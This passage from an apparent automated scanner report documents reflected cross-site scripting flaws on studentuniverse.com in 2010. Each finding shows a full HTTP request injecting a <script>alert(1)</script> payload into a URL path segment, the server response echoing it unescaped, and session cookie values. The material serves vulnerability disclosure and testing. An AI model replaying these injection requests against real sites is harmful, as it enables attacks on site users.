The requested resource (/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.jsf3d61<script>alert(1)</script>273dcee75ae) is not available

1.48. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c78f5<script>alert(1)</script>ca47f60f0ef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20c78f5<script>alert(1)</script>ca47f60f0ef/javascript/jquery/jquery.bgiframe.min.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:26 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:26 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:26 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 200

The requested resource (/Build7.6.3.2_20c78f5<script>alert(1)</script>ca47f60f0ef/javascript/jquery/c78f5<script>alert(1)</script>ca47f60f0ef/javascript/jquery/jquery.bgiframe.min.js) is not available

1.49. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d268f<script>alert(1)</script>5863186fa1c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascriptd268f<script>alert(1)</script>5863186fa1c/jquery/jquery.bgiframe.min.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:26 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:26 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:26 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 124

The requested resource (/javascriptd268f<script>alert(1)</script>5863186fa1c/jquery/jquery.bgiframe.min.js) is not available

1.50. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 71f4e<script>alert(1)</script>a526950090f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery71f4e<script>alert(1)</script>a526950090f/jquery.bgiframe.min.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:26 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:26 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:26 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 124

The requested resource (/javascript/jquery71f4e<script>alert(1)</script>a526950090f/jquery.bgiframe.min.js) is not available

1.51. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 29846<script>alert(1)</script>b14ed52d32f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js29846<script>alert(1)</script>b14ed52d32f HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:26 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:26 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 140

The requested resource (/Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js29846<script>alert(1)</script>b14ed52d32f) is not available

1.52. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload af5da<script>alert(1)</script>bd91a534b3e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20af5da<script>alert(1)</script>bd91a534b3e/javascript/jquery/jquery.curvycorners.packed.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:23 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:23 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:23 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 207

The requested resource (/Build7.6.3.2_20af5da<script>alert(1)</script>bd91a534b3e/javascript/jquery/af5da<script>alert(1)</script>bd91a534b3e/javascript/jquery/jquery.curvycorners.packed.js) is not av
...[SNIP]...

1.53. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 19e5a<script>alert(1)</script>50dcbf3ab8c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript19e5a<script>alert(1)</script>50dcbf3ab8c/jquery/jquery.curvycorners.packed.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:24 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:24 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:23 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 131

The requested resource (/javascript19e5a<script>alert(1)</script>50dcbf3ab8c/jquery/jquery.curvycorners.packed.js) is not available

1.54. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 7c1cc<script>alert(1)</script>fc662c04655 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery7c1cc<script>alert(1)</script>fc662c04655/jquery.curvycorners.packed.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:24 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:24 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:24 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 131

The requested resource (/javascript/jquery7c1cc<script>alert(1)</script>fc662c04655/jquery.curvycorners.packed.js) is not available

1.55. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload dde7e<script>alert(1)</script>4b5e359d36c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.jsdde7e<script>alert(1)</script>4b5e359d36c HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:24 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:24 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 147

The requested resource (/Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.jsdde7e<script>alert(1)</script>4b5e359d36c) is not available

1.56. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/prototypes/SearchForm.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/prototypes/SearchForm.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 83ef9<script>alert(1)</script>803f9690762 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_2083ef9<script>alert(1)</script>803f9690762/javascript/prototypes/SearchForm.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:56 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:56 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:56 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 199

The requested resource (/Build7.6.3.2_2083ef9<script>alert(1)</script>803f9690762/javascript/prototypes/83ef9<script>alert(1)</script>803f9690762/javascript/prototypes/SearchForm.js) is not available

1.57. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/prototypes/SearchForm.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/prototypes/SearchForm.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3aecf<script>alert(1)</script>c7acd43b607 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript3aecf<script>alert(1)</script>c7acd43b607/prototypes/SearchForm.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:56 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:56 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:56 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 119

The requested resource (/javascript3aecf<script>alert(1)</script>c7acd43b607/prototypes/SearchForm.js) is not available

1.58. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/prototypes/SearchForm.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/prototypes/SearchForm.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 632b2<script>alert(1)</script>a4f2fa3c536 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/prototypes632b2<script>alert(1)</script>a4f2fa3c536/SearchForm.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:57 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:57 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:56 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 119

The requested resource (/javascript/prototypes632b2<script>alert(1)</script>a4f2fa3c536/SearchForm.js) is not available

1.59. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/prototypes/SearchForm.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/prototypes/SearchForm.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 54db0<script>alert(1)</script>fa99ff763c4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/prototypes/SearchForm.js54db0<script>alert(1)</script>fa99ff763c4 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:57 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:57 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 135

The requested resource (/Build7.6.3.2_20/javascript/prototypes/SearchForm.js54db0<script>alert(1)</script>fa99ff763c4) is not available

1.60. http://www.studentuniverse.com/fly/searchUtil [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /fly/searchUtil

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 51416<script>alert(1)</script>25b3270c5d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fly51416<script>alert(1)</script>25b3270c5d4/searchUtil HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:49 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 98
Date: Sat, 13 Nov 2010 20:56:48 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/

The requested resource (/fly51416<script>alert(1)</script>25b3270c5d4/searchUtil) is not available

